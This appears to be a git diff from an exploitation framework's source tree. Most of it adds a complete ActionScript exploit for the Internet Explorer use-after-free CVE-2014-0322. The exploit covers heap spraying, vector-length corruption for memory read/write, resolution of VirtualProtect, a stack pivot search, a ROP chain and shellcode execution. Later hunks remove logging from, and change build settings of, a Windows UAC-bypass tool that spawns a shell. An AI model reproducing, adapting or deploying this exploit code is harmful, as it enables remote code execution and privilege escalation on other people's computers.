 function print_status(msg) {
 	try {
diff --git a/external/source/exploits/CVE-2014-0322/AsXploit.as b/external/source/exploits/CVE-2014-0322/AsXploit.as
new file mode 100755
index 0000000000..4641b060b4
--- /dev/null
+++ b/external/source/exploits/CVE-2014-0322/AsXploit.as
@@ -0,0 +1,519 @@
+/* 
+ * MS14-012 Internet Explorer CMarkup Use-After-Free
+ * Vendor Homepage: http://www.microsoft.com
+ * Version: IE 10
+ * Date: 2014-03-31
+ * Exploit Author: Jean-Jamil Khalife
+ * Tested on: Windows 7 SP1 x64 (fr, en)
+ * Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77)
+ * Home: http://www.hdwsec.fr
+ * Blog : http://www.hdwsec.fr/blog/
+ * MS14-012 / CVE-2014-0322
+ *
+ * Generation:
+ * 		c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf
+ * 
+ */ 
+ 
+package
+{
+	import __AS3__.vec.Vector;
+	import flash.display.*;
+	import flash.events.*;
+	import flash.external.*;
+	import flash.media.*;
+	import flash.net.*;
+	import flash.text.*;
+	import flash.utils.*;
+	import Math;
+	import flash.system.Security;
+	import flash.external.ExternalInterface;
+	
+	import flash.display.LoaderInfo;
+	
+	
+	public class AsXploit extends Sprite
+	{
+		  public var s:Vector.<Object>;
+		  public var spraysound:Vector.<Object>;
+		  public var myTimer:Timer;
+		  public var sound:Sound;
+		  public var shellcodeObj:Array;
+	  
+		/* 
+		*  Prepare the heap
+		*  Trigger the vulnerability
+		*  Exploit :)
+		*/
+		 public function AsXploit()
+		 {
+			shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.version.split(",");
+			
+			/* Prepare the heap */
+			init_heap();
+			
+			/* Trigger the vulnerability */
+			ExternalInterface.call("trigger");
+			
+			/* Check every second if the vulnerability has triggered */
+			myTimer = new Timer(1000, 114096);
+			myTimer.addEventListener("timer", timerHandler);
+			myTimer.start();
+		 }
+		  
+		 /*  Prepare the heap
+		  *  Spray aligned vector & sound objects
+		  */
+		 public function init_heap():void
+		 {
+			var len:int = 0;
+			var i:int = 0;
+			
+			/* Spray the integer array */
+			this.s = new Vector.<Object>(0x18180);
+			while (len < 0x18180)
+			{
+				this.s[len] = new Vector.<uint>(0x1000 / 4 - 16);
+				for (i=0; i < this.s[len].length; i++)
+				{
+					this.s[len][i] = 0x1a1a1a1a;
+				}
+				
+				++len;
+			}
+			
+			/* Spray sound object ptr */
+			this.sound = new Sound();
+			this.spraysound = new Vector.<Object>(0x100);
+			
+			len = 0;
+			while (len < 0x100)
+			{
+				this.spraysound[len] = new Vector.<Object>(0x1234);
+				for (i=0; i < this.spraysound[len].length; i++)
+				{
+					this.spraysound[len][i] = this.sound;
+				}
+				++len;
+			}
+		}
+		
+		/*
+		 *  Read an INT value in memory
+		 */
+		public function readInt(u1:int, u2:int, mod:uint):int
+		{	
+			var valres:uint = 0;
+			
+			if (mod == 1){
+				valres = ((u1 & 0xFFFFFF00)/0x100) + (u2&0xFF)*0x1000000;
+			}
+			else if (mod == 2){
+				valres = ((u1 & 0xFFFF0000)/0x10000) + (u2&0xFFFF)*0x10000;
+			}
+			else if (mod == 3){
+				valres = ((u1 & 0xFF000000)/0x1000000) + (u2&0xFFFFFF)*0x100;
+			}
+			else
+			{
+				valres = u1;
+			}
+			
+			return valres;
+		}
+		
+		
+		/*
+		 *  Search a stack pivot dynamically
+		 *  baseflashaddr_off: flash dll base address offset
+		 *  index: index of vectors table
+		 *  offset: offset to get the Stackpivot RVA
+		 */
+		public function getSP(baseflashaddr_off:uint, index:uint, offset:uint):uint
+		{
+			var sp:uint = 0;
+			var sn:uint = 0;
+			var secname:uint = 0;
+			var sec:uint = 0;
+			var peindex:uint = 0;
+			var virtualSize:uint = 0;
+			var virtualAddr:uint = 0;
+			var i:uint = 0;
+			
+			/* Find .text */
+			peindex = this.s[index][baseflashaddr_off+0x3C/4];
+			sn = this.s[index][baseflashaddr_off+peindex/4+1] >> 16;
+			
+			/* Find 0xC394 */
+			for (sec=0; sec < sn; sec++)
+			{
+				if (this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4] == 0x7865742E
+					&&	this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+1] == 0x74)
+				{
+					virtualAddr = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+3];
+					virtualSize = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+2];					
+					
+					/* Find a stack pivot */
+					for (i=0; i < virtualSize/4; i++)
+					{
+						if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF) != 0xC394)
+						{
+							if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF00 ) != 0xC39400)
+							{
+								if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFFFF0000 ) != 0xC3940000)
+								{
+									if ((this.s[index][baseflashaddr_off+virtualAddr/4+i] & 0xFF000000 ) == 0x94000000
+										&& (this.s[index][baseflashaddr_off+virtualAddr/4 + i + 1] & 0xFF ) == 0xC3)
+									{
+										sp = virtualAddr + i*4 + 3;
+										break;
+									}
+								}
+								else
+								{
+									sp = virtualAddr + i*4 + 2;
+									break;
+								}
+							}
+							else
+							{
+								sp = virtualAddr + i*4 + 1;
+								break;
+							}
+						}
+						else
+						{
+							sp = virtualAddr + i*4;
+							break;
+						}
+					}
+				}
+				
+			}
+		
+			if (sp != 0)
+				sp = offset+sp;
+			
+			return sp;
+		}
+		
+		/*
+		 *  Build & Insert the stack pivot + ROP + Shellcode
+		 *  Corrupt sound object vtable ptr
+		 *  baseflashaddr_off: flash dll address offset
+		 *  index: vectors table index
+		 *  cvaddr: corrupted vector address
+		 *  virtualprotectaddr: virtual protect address
+		 *  sp: stack pivot address
+		 */
+		public function buildPayload(baseflashaddr_off:uint, index:uint, j:uint, cvaddr:uint, virtualprotectaddr:uint, sp:uint ):void
+		{
+			var dec:uint = 0;
+			var soundobjref:uint = 0;
+			var soundobjaddr:uint = 0;
+			var sh:uint=0x300;
+			var i:uint = 0;
+		
+			/* Corrupt sound object vtable ptr */
+			while (1)
+			{
+				if (this.s[index][j] == 0x00010c00 && this.s[index][j+0x09] == 0x1234)
+				{	
+					soundobjref = this.s[index][j+0x0A];
+					dec = soundobjref-cvaddr-1;
+					this.s[index][dec/4-2] = cvaddr+2*4+4*4;
+					break;
+				}
+				
+				j++;
+			}
+			
+			/*  Stack pivot */
+			for (i=0; i < 0x200; i++)
+				this.s[index][i] = sp;
+			
+			/* ROP */
+			this.s[index][0] = 0x41414141;
+			this.s[index][1] = 0x41414141;
+			this.s[index][2] = 0x41414141;
+			this.s[index][3] = 0x41414141;
+			this.s[index][4] = virtualprotectaddr;
+			this.s[index][5] = cvaddr+0xC00+8;
+			this.s[index][6] = cvaddr;
+			this.s[index][7] = 0x4000;
+			this.s[index][8] = 0x40;
+			this.s[index][9] = 0x1a002000;
+			
+			/* Shellcode */
+			for(var u:String in shellcodeObj)
+			{
+				this.s[index][sh++] = Number(shellcodeObj[u]);
+			}
+		}
+		
+		
+		/*
+		 *  Get flash module base address
+		 *  index: index of vectors table
+		 *  cvaddr: corrupted vector address
+		 */
+		public function getFlashBaseAddr(index:uint, cvaddr:uint):Array
+		{
+			var baseflashaddr_off:uint = 0;
+			var j:int = 0;
+			var k:int = 0;
+			var kmax:uint = 0;
+			var vtableobj:int = 0;
+			var ocxinfo:Array = new Array();
+			
+			
+			while (1)
+			{
+				if (this.s[index][j] == 0x00010c00)
+				{
+					vtableobj = this.s[index][j+0x08] & 0xFFFF0000;
+								
+					/* Get ocx base address */
+					k = 0;
+					while (1)
+					{
+						if (this.s[index][(vtableobj-cvaddr-k)/4 - 2] == 0x00905A4D)
+						{	
+							baseflashaddr_off = (vtableobj-cvaddr-k)/4 - 2;
+							ocxinfo[0] = baseflashaddr_off;
+							ocxinfo[1] = j;
+							ocxinfo[2] = k;
+							ocxinfo[3] = vtableobj;
+									
+							return ocxinfo;
+						}
+							
+						k = k + 0x1000;
+					}
+				}
+			
+				j = j + 0x1;
+			}
+			
+			return ocxinfo;						
+		}
+
+		/*
+		 *  Find kernel32.dll index
+		 *  index: index of vectors table
+		 *  baseflashaddr_off: flash dll address offset
+		 *  importsindex: offset to the imports table
+		 */
+		public function getK32Index(index:uint, baseflashaddr_off:uint, importsindex:uint):uint
+		{
+			var nameindex:uint = 0;
+			var dllname:int = 0;
+			var nameaddr:int = 0;
+						
+			do
+			{	
+				nameaddr = this.s[index][baseflashaddr_off+importsindex/4+nameindex/4+0x0C/4];
+											
+				/* kernel32.dll not found */
+				if (nameaddr == 0x0)
+					break;
+				
+				dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
+
+				/* Check kernel32.dll */
+				if (dllname == 0x6E72656B || dllname == 0x4E52454B)
+				{
+					nameaddr = nameaddr + 4;
+					dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
+					if (dllname == 0x32336C65 || dllname == 0x32334C45)
+					{
+						nameaddr = nameaddr + 4;
+						dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4], this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1], (nameaddr % 4));
+						if (dllname == 0x6C6C642E || dllname == 0x4C4C442E)
+						{
+							return nameindex;
+						}
+					}
+				}
+				
+				/* Next dll */
+				nameindex = nameindex + 0x14;
+			}
+			while (1);
+			
+			return 0;
+		}
+
+		/*
+		 *  Get VirtualProtectStub() addr
+		 */
+		public function GetVirtualProtectStubAddr(index:uint, baseflashaddr_off:uint, fct_addr_offset:uint, fct_name_offset:uint):uint
+		{
+			var fct_addr:uint = 0;
+			var fct_name:uint = 0;
+			var fct_name_struct:uint = 0;
+			
+			do
+			{
+				fct_addr = readInt(this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4+1], (fct_addr_offset % 4));
+				fct_name_struct = readInt(this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4], this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4+1], (fct_name_offset % 4));
+				
+				/* VirtualProtectStub() not found */
+				if (fct_addr == 0 || fct_name_struct == 0)
+					break;
+				
+				if ((fct_name_struct & 0x80000000) != 0x80000000)
+				{
+					fct_name_struct = fct_name_struct + 2;
+					fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
+					
+					/* Check VirtualProtect */
+					if (fct_name == 0x74726956 || fct_name == 0x54524956)
+					{
+						fct_name_struct = fct_name_struct + 4;
+						fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
+						if (fct_name == 0x504c4155 || fct_name == 0x506c6175)
+						{
+							fct_name_struct = fct_name_struct + 4;
+							fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4], this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1], (fct_name_struct % 4));
+							if (fct_name == 0x45544f52 || fct_name == 0x65746f72)
+							{
+								return fct_addr;
+							}
+						}
+					}
+				}
+				
+				/* Next Function() */
+				fct_addr_offset = fct_addr_offset + 0x4;
+				fct_name_offset = fct_name_offset + 0x4;
+			}
+			while (1);
+			
+			return 0;
+		}
+		
+		/*
+		 *  Get corrupted vector index
+		 */
+		public function  getCorruptedVectorIndex():uint
+		{
+			var i:uint = 0;
+			for (i=0; i < this.s.length; i++)
+			{
+				if (this.s[i].length == 0x3FFFFFFF)
+				{
+					return i;
+				}
+			}
+			
+			return i;
+		}
+		
+		/*
+		 *  Corrupt next vector size
+		 */
+		public function  corruptNextVector(index:uint):uint
+		{
+			var j:uint = 0;
+			
+			for (j=0; j < this.s.length; j++)
+			{
+				if (this.s[index][j] == 0x000003F0)
+				{
+					this.s[index][j] = 0x3FFFFFFF;
+					
+					return j;
+				}
+				
+				j = j + 1;
+			}
+			
+			
+			
+			return 0;
+		}
+		
+		/*
+		 *  Perform the exploitation
+		 *  - Find VirtualProtect()
+		 *  - Find a stack pivot
+		 *  - Build payload (SP + ROP + SC)
+		 *  - Run payload
+		 */
+		public function timerHandler(event:TimerEvent):void 
+		{			
+			var i:int = 0;
+			var j:int = 0;
+			var k:int = 0;
+			
+			var vtableobj:int = 0;
+			var peindex:int = 0;
+			var importsindex:int = 0;
+			var k32index:int = 0;
+			var fct_name_offset:uint = 0;
+			var fct_addr_offset:uint = 0;
+			
+			var baseflashaddr_off:int = 0;	/* Base address of the flash dll */
+			var vp_addr:uint = 0;	/* VirtualProtectStub() addr */
+			var stackpivot:uint = 0;	/* Stackpivot address */
+			
+			var cvaddr:int = 0x1a001000;	/* corrupted vector address */
+			var ocxinfo:Array;
+			var i2:uint = 0;
+			
+			/* Search the corrupted vector */
+			for (i=0; i < this.s.length; i++)
+			{
+				/* Find corrupted vector */
+				if (this.s[i].length == 0x010003f0)
+				{
+					this.myTimer.stop();
+
+					/* Corrupt next vector size */
+					if (corruptNextVector(i) == 0)
+						return;
+					
+					/* Find corrupted vector */
+					i2 = getCorruptedVectorIndex();
+					if (i2 == 0) return;
+					
+					/* Get flash base addr */
+					ocxinfo = getFlashBaseAddr(i2, cvaddr);
+					if (ocxinfo.length == 0) return;
+					baseflashaddr_off = ocxinfo[0];
+					j = ocxinfo[1];
+					k = ocxinfo[2];
+					vtableobj = ocxinfo[3];
+			
+					/* Get imports table */
+					peindex = this.s[i2][baseflashaddr_off+0x3C/4];
+					importsindex = this.s[i2][baseflashaddr_off+peindex/4+(0x18+0x60+0x8)/4];
+					
+					/* Find kernel32.dll */
+					k32index = getK32Index(i2, baseflashaddr_off, importsindex);
+					if (k32index == 0) return;
+
+					fct_addr_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4+0x10/4];
+					fct_name_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4];
+					
+					/* Find VirtualProtectStub() addr */
+					vp_addr = GetVirtualProtectStubAddr(i2, baseflashaddr_off, fct_addr_offset, fct_name_offset);
+					if (vp_addr == 0) return;
+					
+					/* Search Stack Pivot */
+					stackpivot = getSP(baseflashaddr_off, i2, vtableobj-k);
+					if (stackpivot == 0) return;
+
+					/* Build Payload */
+					buildPayload(baseflashaddr_off, i2, j, cvaddr, vp_addr, stackpivot);
+
+					/* Run Payload */
+					this.sound.toString();
+					
+					return;
+				}
+			}
+		}
+	}
+}
diff --git a/external/source/exploits/bypassuac/CMMN.cpp b/external/source/exploits/bypassuac/CMMN.cpp
old mode 100644
new mode 100755
index fcb4a3e604..eb96df0830
--- a/external/source/exploits/bypassuac/CMMN.cpp
+++ b/external/source/exploits/bypassuac/CMMN.cpp
@@ -8,46 +8,6 @@
 #include <windows.h>
 #include <WinIOCtl.h>
 
-/*************************************************************************************************/
-/*************************************************************************************************/
-/*************************************************************************************************/
-
-std::wstring CError::Format( DWORD ErrorCode ) 
-{
-	return Format( ErrorCode, NULL, NULL );
-}
-
-std::wstring CError::Format(DWORD ErrorCode, const TCHAR *Title, const TCHAR *API) 
-{
-   LPVOID lpvMessageBuffer;
-
-   FormatMessage(
-			FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,
-			NULL, ErrorCode,
-			MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT),
-			(LPTSTR)&lpvMessageBuffer, 0, NULL);
-
-   std::wstring result;
-
-	std::wostringstream es(TEXT(""));
-	es << ErrorCode;
-
-	if ( Title )
-		{ result.append( Title ); result.append( TEXT("\n") ); }
-	else
-		{ result.append( TEXT("ERROR") ); result.append( TEXT("\n") ); }
-
-	if ( API )
-	{ result.append( TEXT("API        = ") );result.append( API ); result.append( TEXT("\n") ); }
-	  result.append( TEXT("error code = ") );result.append( es.str() );result.append( TEXT("\n") );
-	if( lpvMessageBuffer )
-	{ result.append( TEXT("message    = ") );result.append( (TCHAR *)lpvMessageBuffer );result.append( TEXT("\n") ); }
-
-	if ( lpvMessageBuffer )
-	{ LocalFree(lpvMessageBuffer); }
-
-   return result;
-}
 
 /*************************************************************************************************/
 /*************************************************************************************************/
@@ -142,90 +102,3 @@ CInterprocessStorage::~CInterprocessStorage()
 	CloseHandle( _hMapping );
 }
 
-/*************************************************************************************************/
-/*************************************************************************************************/
-/*************************************************************************************************/
-
-std::wstring CLogger::GetPath()
-{
-	std::wstring path;
-
-	TCHAR buffer[MAX_PATH];
-	if ( GetTempPath( MAX_PATH, buffer ) )
-	{
-		path.assign( buffer );
-		path.append( TEXT("w7e.log") );
-	}
-
-	return path;
-}
-
-void CLogger::Reset()
-{
-	DeleteFile( GetPath().c_str() );
-}
-
-void CLogger::LogLine( std::wstring& Text )
-{
-	std::wstring tmp( Text.c_str() );
-	tmp.append( TEXT("\n") );
-	Log( tmp );
-}
-
-void CLogger::LogLine( )
-{
-	Log( TEXT("\n") );
-}
-
-void CLogger::LogLine( const TCHAR *Text )
-{
-	if ( Text )
-		LogLine( std::wstring( Text ) );
-}
-
-void CLogger::Log( const TCHAR Char )
-{
-	std::wstring tmp;
-	tmp.append( &Char, 1 );
-	Log( tmp );
-}
-
-void CLogger::Log( const TCHAR *Text )
-{
-	if ( Text )
-		Log( std::wstring( Text ) );
-}
-
-void CLogger::Log( std::wstring& Text )
-{
-	TCHAR buffer[MAX_PATH];
-	//
-	//	We have to check it every time to be reflective if user created this file 
-	//	while program was runnig.
-	//
-	if ( GetModuleFileName( NULL, buffer, MAX_PATH ) )
-	{
-		std::wstring dbg( buffer );
-		dbg.append( TEXT(".debug") );
-		HANDLE hdbg =  CreateFile( dbg.c_str(), FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL );
-		if ( INVALID_HANDLE_VALUE == hdbg )
-			return;
-
-		CloseHandle( hdbg );
-	}
-
-	HANDLE mutex = CreateMutex( NULL, FALSE, TEXT("CLoggerSync") );
-	if ( mutex ) WaitForSingleObject( mutex , INFINITE );
-		HANDLE hFile = CreateFile( GetPath().c_str(), FILE_ALL_ACCESS, 0, NULL, OPEN_ALWAYS, FILE_FLAG_WRITE_THROUGH, NULL );
-		if( INVALID_HANDLE_VALUE != hFile )
-		{
-			SetFilePointer( hFile, 0, NULL, FILE_END );
-
-			DWORD written;
-			WriteFile( hFile, Text.data(), Text.size() * sizeof(TCHAR), &written, NULL );
-
-			CloseHandle( hFile );
-		}
-	if ( mutex ) ReleaseMutex( mutex );
-	if ( mutex ) CloseHandle( mutex );
-}
\ No newline at end of file
diff --git a/external/source/exploits/bypassuac/Redirector.cpp b/external/source/exploits/bypassuac/Redirector.cpp
old mode 100644
new mode 100755
index 13042bc52a..92a02270b9
--- a/external/source/exploits/bypassuac/Redirector.cpp
+++ b/external/source/exploits/bypassuac/Redirector.cpp
@@ -13,9 +13,6 @@ DWORD WINAPI Redirector( LPVOID Parameter )
 	assert( Parameter );
 	TRedirectorPair *pair = reinterpret_cast<TRedirectorPair*>( Parameter );
 
-	CLogger::Log( TEXT("Hello redirector thread: ") );
-	CLogger::LogLine( pair->Name );
-
 	CHAR read_buff[2];
 	DWORD nBytesRead,nBytesWrote;
 
@@ -25,11 +22,7 @@ DWORD WINAPI Redirector( LPVOID Parameter )
 	{
 		if( ! ReadFile( pair->Source, read_buff, 1, &nBytesRead, NULL) )
 		{
-			CLogger::LogLine( 
-				CError::Format( 
-					GetLastError(), 
-					pair->Name.c_str(), 
-					TEXT("ReadFile") ) );
+			
 			error = true && (!pair->KeepAlive);
 			break;
 		}
@@ -67,11 +60,6 @@ DWORD WINAPI Redirector( LPVOID Parameter )
 
 				if ( ! WriteConsoleInput( pair->Destination, &inp, 1, &nBytesWrote) )
 				{
-					CLogger::LogLine( 
-						CError::Format( 
-							GetLastError(), 
-							pair->Name.c_str(), 
-							TEXT("WriteConsoleInput") ) );
 					error = true && (!pair->KeepAlive);
 					break;
 				}
@@ -80,11 +68,6 @@ DWORD WINAPI Redirector( LPVOID Parameter )
 			{
 				if ( ! WriteFile( pair->Destination, &read_buff[i], 1, &nBytesWrote, NULL) )
 				{
-					CLogger::LogLine( 
-						CError::Format( 
-							GetLastError(), 
-							pair->Name.c_str(), 
-							TEXT("WriteFile") ) );
 					error = true && (!pair->KeepAlive);
 					break;
 				}
@@ -92,8 +75,6 @@ DWORD WINAPI Redirector( LPVOID Parameter )
 		}
 	}
 
-	CLogger::Log( TEXT("Bye redirector thread: ") );
-	CLogger::LogLine( pair->Name );
 	return EXIT_SUCCESS;
 }
 
diff --git a/external/source/exploits/bypassuac/TIOR/TIOR.cpp b/external/source/exploits/bypassuac/TIOR/TIOR.cpp
old mode 100644
new mode 100755
index 70bed0931d..bdd6ee0d3d
--- a/external/source/exploits/bypassuac/TIOR/TIOR.cpp
+++ b/external/source/exploits/bypassuac/TIOR/TIOR.cpp
@@ -20,7 +20,6 @@
 
 int _tmain(int argc, _TCHAR* argv[])
 {
-	CLogger::LogLine(TEXT("TIOR: Hello"));
 
 	TRedirectorPair in = {0};
 	in.Source = CreateFile( STDIn_PIPE, FILE_ALL_ACCESS, 0, NULL, OPEN_EXISTING, 0, 0);
@@ -79,9 +78,6 @@ int _tmain(int argc, _TCHAR* argv[])
 	CInterprocessStorage::GetString( TEXT("w7e_TIORArgs"), args );
 	CInterprocessStorage::GetString( TEXT("w7e_TIORDir"), dir );
 
-	CLogger::LogLine(TEXT("TIOR: shell="));	CLogger::LogLine(shell);
-	CLogger::LogLine(TEXT("TIOR: args="));	CLogger::LogLine(args);
-	CLogger::LogLine(TEXT("TIOR: dir="));	CLogger::LogLine(dir);
 
 	STARTUPINFO si = {0};si.cb = sizeof(si);
 	PROCESS_INFORMATION pi = {0};
@@ -100,11 +96,6 @@ int _tmain(int argc, _TCHAR* argv[])
 
 	if ( ! created )
 	{
-		CLogger::LogLine(
-			CError::Format(
-				GetLastError(), 
-				TEXT("TIOR: Unable to create child process"), 
-				TEXT("CreateProcess")));
 
 		return EXIT_FAILURE;
 	}
@@ -113,14 +104,12 @@ int _tmain(int argc, _TCHAR* argv[])
 		CloseHandle( pi.hThread );
 	}
 
-	CLogger::LogLine(TEXT("TIOR: Shell has been started. Waiting..."));
 	HANDLE waiters[4] = {pi.hProcess, in.Thread, out.Thread, err.Thread} ;
 	//
 	//	Waiting for eny handle to be freed. 
 	//	Either some IO thread will die or process will be oevered.
 	//
 	WaitForMultipleObjects( 4, waiters, FALSE, INFINITE );
-	CLogger::LogLine(TEXT("TIOR: Ensure that we processed all data in pipes"));
 
 	//
 	//	Even if process was overed, we need to be sure that we readed all data from the redirected pipe.
@@ -132,11 +121,9 @@ int _tmain(int argc, _TCHAR* argv[])
 	//	Dont forget to close child process. We need to be sure, if user terminated app which
 	//	reads our redirected data, we terminate the target child app.
 	//
-	CLogger::LogLine(TEXT("TIOR: Killing child process"));
 	TerminateProcess( pi.hProcess, EXIT_FAILURE );
 	CloseHandle( pi.hProcess );
 
-	CLogger::LogLine(TEXT("TIOR: Exit"));
 
 	//
 	//	I will not close any handles here - system will terminate and close all by it self.
diff --git a/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj b/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj
index 1be26fd9e2..ee5f209fcb 100644
--- a/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj
+++ b/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
-<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
   <ItemGroup Label="ProjectConfigurations">
     <ProjectConfiguration Include="Debug|Win32">
       <Configuration>Debug</Configuration>
@@ -28,23 +28,27 @@
     <ConfigurationType>Application</ConfigurationType>
     <UseDebugLibraries>true</UseDebugLibraries>
     <CharacterSet>Unicode</CharacterSet>
+    <PlatformToolset>v120</PlatformToolset>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
     <ConfigurationType>Application</ConfigurationType>
     <UseDebugLibraries>true</UseDebugLibraries>
     <CharacterSet>Unicode</CharacterSet>
+    <PlatformToolset>v120</PlatformToolset>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
     <ConfigurationType>Application</ConfigurationType>
     <UseDebugLibraries>false</UseDebugLibraries>
-    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <WholeProgramOptimization>false</WholeProgramOptimization>
     <CharacterSet>Unicode</CharacterSet>
+    <PlatformToolset>v120</PlatformToolset>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
     <ConfigurationType>Application</ConfigurationType>
     <UseDebugLibraries>false</UseDebugLibraries>
-    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <WholeProgramOptimization>false</WholeProgramOptimization>
     <CharacterSet>Unicode</CharacterSet>
+    <PlatformToolset>v120</PlatformToolset>
   </PropertyGroup>
   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
   <ImportGroup Label="ExtensionSettings">
@@ -63,26 +67,31 @@
   </ImportGroup>
   <PropertyGroup Label="UserMacros" />
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <LinkIncremental>true</LinkIncremental>
-    <TargetName>$(ProjectName)32</TargetName>
-    <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
+    <LinkIncremental>false</LinkIncremental>
+    <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
+    <OutDir>$(Configuration)\$(Platform)\</OutDir>
+    <IntDir>$(Configuration)\$(Platform)\</IntDir>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
-    <LinkIncremental>true</LinkIncremental>
-    <TargetName>$(ProjectName)64</TargetName>
-    <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
+    <LinkIncremental>false</LinkIncremental>
+    <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
+    <OutDir>$(Configuration)\$(Platform)\</OutDir>
+    <IntDir>$(Configuration)\$(Platform)\</IntDir>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     <LinkIncremental>false</LinkIncremental>
-    <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
-    <TargetName>$(ProjectName)32</TargetName>
+    <OutDir>$(Configuration)\$(Platform)\</OutDir>
+    <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
     <GenerateManifest>false</GenerateManifest>
+    <IntDir>$(Configuration)\$(Platform)\</IntDir>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     <LinkIncremental>false</LinkIncremental>
-    <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
-    <TargetName>$(ProjectName)64</TargetName>
+    <OutDir>$(Configuration)\$(Platform)\</OutDir>
+    <TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
     <GenerateManifest>false</GenerateManifest>
+    <IntDir>$(Configuration)\$(Platform)\</IntDir>
+    <CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
   </PropertyGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
     <ClCompile>
@@ -90,6 +99,8 @@
       <WarningLevel>Level3</WarningLevel>
       <Optimization>Disabled</Optimization>
       <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <MinimalRebuild>false</MinimalRebuild>
+      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
     </ClCompile>
     <Link>
       <SubSystem>Console</SubSystem>
@@ -99,6 +110,10 @@
       <Path>
       </Path>
     </BuildLog>
+    <PostBuildEvent>
+      <Command>
+      </Command>
+    </PostBuildEvent>
   </ItemDefinitionGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     <ClCompile>
@@ -106,11 +121,17 @@
       <WarningLevel>Level3</WarningLevel>
       <Optimization>Disabled</Optimization>
       <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <MinimalRebuild>false</MinimalRebuild>
+      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
     </ClCompile>
     <Link>
       <SubSystem>Console</SubSystem>
       <GenerateDebugInformation>true</GenerateDebugInformation>
     </Link>
+    <PostBuildEvent>
+      <Command>
+      </Command>
+    </PostBuildEvent>
   </ItemDefinitionGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     <ClCompile>
@@ -121,6 +142,7 @@
       <IntrinsicFunctions>true</IntrinsicFunctions>
       <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
